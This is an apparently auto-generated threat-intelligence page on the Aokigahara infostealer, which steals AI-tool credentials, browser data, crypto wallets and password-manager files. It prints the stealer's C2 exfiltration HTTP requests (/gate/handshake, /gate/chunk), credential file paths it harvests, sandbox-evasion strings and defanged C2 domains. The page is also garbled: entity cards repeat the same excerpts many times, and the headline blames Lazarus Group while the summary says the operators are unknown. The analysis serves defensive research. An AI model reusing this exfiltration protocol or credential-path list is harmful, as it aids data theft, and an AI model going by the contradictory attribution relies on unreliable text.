INSPECTING ARCHIVED INTELLIGENCE (OUTDATED VERSION).
Lazarus Group Deploys Infostealer via Spear-Phishing Attack on AI Systems
|
2026-10-23 12:59
LOW
HIGH
DATA BREACH
MALWARE & BOTNETS
Executive Summary
AI-generated
A new infostealer, known as Aokigahara or previously referred to as Kamidere or Stygian, has been spotted in the wild on October 23, 2026. The malware targets various sectors including AI applications and development tools such as Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, among others. It affects multiple countries including Russia, Ukraine, Belarus, Tajikistan, Armenia, Azerbaijan, Georgia, Kazakhstan, Kyrgyzstan, Turkmenistan, Uzbekistan, with a total of 11 targeted regions. The attack works by collecting authentication files, session data, and configuration files associated with the aforementioned tools, as well as other targets such as browser passwords, cryptocurrency wallets, FTP/SFTP clients, password managers, email applications, and cloud credentials. Currently, the malware's operators are unknown, but its collection routines support potential monetization of stolen AI credentials through unauthorized access to paid services or resale of compromised accounts.
Technical Mitigations AI-generated
• Reset credentials and API keys that may have been exposed, and review access logs for the affected accounts or integrations.
Technical Observables Login Required
Indicators of Compromise (IoCs) Protected
Raw threat telemetry, malicious IP addresses, file hashes, and direct VirusTotal correlation are restricted to authenticated users.
cbdff0••••••••••••••••••••••••••••••••••
900331••••••••••••••••••••••••••••••••••
b33548••••••••••••••••••••••••••••••••••
bad339••••••••••••••••••••••••••••••••••
hj•••••.surf
so•••••.pw
ne•••••.cc
do•••••.cc
co•••••.json
se•••••.json
ge•••••.json
To•••••.txt
2.26.•••.•••
Intelligence Metadata
Actors / Malware / CVEs / Campaigns
Target & Sectors
CENTRAL_ASIA
CENTRAL_ASIA
cryptocurrencycryptocurrency
Incident Timeline
2026/10/23
Threat actors used an infostealer, dubbed Aokigahara, to target various applications and systems, including AI tools like ChatGPT Desktop and GitHub Copilot.
Click on any entity below to view its context and source!
organisation
0x0440
Armenian — Armenia
0x042C
Azerbaijani (Latin) — Azerbaijan
0x0437
Georgian — Georgia
0x043F
Kazakh — Kazakhstan
0x0440
Kyrgyz — Kyrgyzstan
0x0442
Turkmen — Turkmenistan
0x0443
Uzbek (Latin) — Uzbekistan
The second configuration flag enables analysis-environment checks, including anti-debugging, virtual machine detection, and sandbox detection.
infrastructure
Cursor
The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data.
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
The inspected strings include:
"sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount"
Additional checks monitor cursor movement and the number of running processes.
infrastructure
Windsurf
The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data.
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
organisation
Claude
The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
organisation
GitHub Copilot
The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
infrastructure
Vs Code
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
organisation
Claude Code/Desktop
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
organisation
Amazon
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
organisation
JetBrains AI
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
organisation
JetBrains
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
organisation
SSO
These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data.
infrastructure
Visual Studio Code
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
organisation
Target
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
organisation
CLI
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
organisation
API
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
infrastructure
Windows
Function
What the handler targets
sysinfo
The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
It also queries Windows Credential Manager.
It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine.
When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language.
organisation
IP
Function
What the handler targets
sysinfo
The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
organisation
CPU
Function
What the handler targets
sysinfo
The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
organisation
RAM
Function
What the handler targets
sysinfo
The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
organisation
Screenshot.jpg
screenshot
Captures the screen as
Screenshot.jpg
.
organisation
Clipboard.txt
clipboard
Captures clipboard contents into
Clipboard.txt
.
organisation
NSS
firefox
Mozilla Firefox profiles: saved logins (
logins.json
, decrypted through NSS), key database, and cookies.
organisation
Messengers/Discord/Tokens.txt
Output path:
Messengers/Discord/Tokens.txt
.
telegram
Telegram Desktop’s
tdata
directory.
infrastructure
Microsoft Office
outlook
Microsoft Office Outlook profiles.
organisation
Microsoft Office Outlook
outlook
Microsoft Office Outlook profiles.
infrastructure
1.1
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTE…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER
\x01\x00\x00\x00$RANDOM_8_…
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes…
infrastructure
10.0
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTE…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER
\x01\x00\x00\x00$RANDOM_8_…
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes…
organisation
Microsoft
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
organisation
Content-Length
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
infrastructure
32 Host
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
infrastructure
3233 Host
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTE…
infrastructure
8 Host
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes…
organisation
ED
…bc0a54f62e91b83f2c6
fa61cf3bebefd88ea9d06007a4b85791aa851c8a
fbe8708247fabd8a1bc3963db3911b5e77728669
fe6b7d6fa8c2424d14a0d465ab78aaf83db0d07b
ff402e64bc42222c8a4ee703123903c2a2117dd9
Aokigahara C&C
2[.]26[.]252[.]48:8080
dfwioeiofwr[.]info
dobeqnesmot[.]cc
gate[.]dfwioeiofwr[.]info
hjazfioe[.]surf
kkeyyou[.]cc
neihite[.]cc
somelitersofblood[.]pw
Clipper
8d6c86e0af7807f9b5baf15e9f076bb81e012515…
organisation
Infostealer
Infostealer riding the AI Train.
organisation
FTP
The malware includes traditional data theft capabilities targeting browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications, among other targets.
organisation
SSH
Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files.
organisation
AWS
Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files.
organisation
Stealer Capabilities
Stealer Capabilities and Targeted Applications
The
Aokigahara
infostealer includes common information-stealing capabilities, such as screenshot capture, clipboard collection, browser credential and cookie theft, cryptocurrency wallet data collection, and file grabbing.
organisation
Chromium
The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft.
organisation
Mozilla Firefox
The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft.
organisation
Discord
The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft.
organisation
Telegram
The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft.
organisation
Beta/Canary
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
Beta/Dev/Canary
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
CentBrowser
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
CocCoc
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
Comodo Dragon
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
Torch, Slimjet,
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
URBrowser
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
SRWare Iron, Chromium
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
QQBrowser
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
Naver Whale
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
AVG
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
Kinza
The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza.
organisation
Exodus, Atomic, Electrum
wallets
Desktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket.
organisation
Zcash, Armory
wallets
Desktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket.
organisation
TokenPocket
wallets
Desktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket.
organisation
Phantom
It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.
organisation
TronLink
It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.
organisation
Coinbase
It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.
organisation
Trust
It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.
organisation
Discord’s Local Storage
discord
Discord’s Local Storage LevelDB files, looking for token-like strings.
organisation
IMAP
The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data.
vpn
OpenVPN configs (
*.ovpn
), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs (
*.conf
/
*.json
).
organisation
Surfshark
The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data.
vpn
OpenVPN configs (
*.ovpn
), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs (
*.conf
/
*.json
).
organisation
Windscribe
The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data.
vpn
OpenVPN configs (
*.ovpn
), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs (
*.conf
/
*.json
).
organisation
ftp
FileZilla, WinSCP
ftp
FileZilla, WinSCP, CoreFTP, FlashFXP, and SmartFTP saved sites/sessions.
organisation
FlashFXP
ftp
FileZilla, WinSCP, CoreFTP, FlashFXP, and SmartFTP saved sites/sessions.
organisation
KeePass
passman
KeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files.
organisation
Bitwarden
passman
KeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files.
organisation
NordPass
passman
KeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files.
organisation
Battle.net
gaming
Roblox cookies, Battle.net config, Epic Games config/logs, Riot Games client settings, Minecraft and Roblox launcher accounts/profiles, GOG Galaxy, Origin, and Ubisoft Game Launcher data.
organisation
GOG Galaxy, Origin
gaming
Roblox cookies, Battle.net config, Epic Games config/logs, Riot Games client settings, Minecraft and Roblox launcher accounts/profiles, GOG Galaxy, Origin, and Ubisoft Game Launcher data.
organisation
’s Desktop
filegraber
Files from the user’s Desktop, Documents, and Downloads, placed under
Files/Documents
or
Files/Crypto
.
organisation
Downloads
filegraber
Files from the user’s Desktop, Documents, and Downloads, placed under
Files/Documents
or
Files/Crypto
.
organisation
Files/Documents
filegraber
Files from the user’s Desktop, Documents, and Downloads, placed under
Files/Documents
or
Files/Crypto
.
organisation
Files/Crypto
filegraber
Files from the user’s Desktop, Documents, and Downloads, placed under
Files/Documents
or
Files/Crypto
.
organisation
Mozilla Thunderbird
thunderbird
Mozilla Thunderbird profile files, archived under
Mails/Thunderbird/...
.
websessions
Chromium browser local/session storage, which can contain web-application session data.
organisation
Chrome
The table includes Chrome, Chrome Beta/Canary, Edge, Edge Beta, Brave, Opera, Vivaldi, Yandex, Arc, Thorium, and Chromium.
organisation
Arc, Thorium
The table includes Chrome, Chrome Beta/Canary, Edge, Edge Beta, Brave, Opera, Vivaldi, Yandex, Arc, Thorium, and Chromium.
organisation
AI Data Theft
The
AI Data Theft
The more distinctive capability is the
aisessions
handler, which targets AI applications and development tools.
organisation
Anti-Analysis
Anti-Analysis
The infostealer includes several known anti-analysis checks, most of which run only when their corresponding configuration flags are enabled.
organisation
the Process Environment Block
The anti-debugging checks include:
Inspection of debugger-related flags in the Process Environment Block (PEB).
organisation
PEB
The anti-debugging checks include:
Inspection of debugger-related flags in the Process Environment Block (PEB).
organisation
AES
It begins with a four-byte magic value
STGC
, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.
data_breach
16 byte
It begins with a four-byte magic value
STGC
, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.
struct EncryptedConfigBlob
{
DWORD magic; // Four-byte configuration magic
DWORD ciphertext_len; // Encrypted configuration size in bytes
BYTE iv[0x10]; // 16-byte AES-CBC initialization vector
BYTE ciphertext
Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag.
The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end.
organisation
DWORD
struct EncryptedConfigBlob
{
DWORD magic; // Four-byte configuration magic
DWORD ciphertext_len; // Encrypted configuration size in bytes
BYTE iv[0x10]; // 16-byte AES-CBC initialization vector
BYTE ciphertext
organisation
BYTE
struct EncryptedConfigBlob
{
DWORD magic; // Four-byte configuration magic
DWORD ciphertext_len; // Encrypted configuration size in bytes
BYTE iv[0x10]; // 16-byte AES-CBC initialization vector
BYTE ciphertext
data_breach
12 byte
Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag.
The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes.
organisation
AES-256-CBC
The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.
data_breach
32 byte
The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.
Path
Description
/gate/handshake
Establishes an upload session by sending the client’s raw 32-byte X25519 public key.
The resulting 32-byte key is used for AES-GCM encryption.
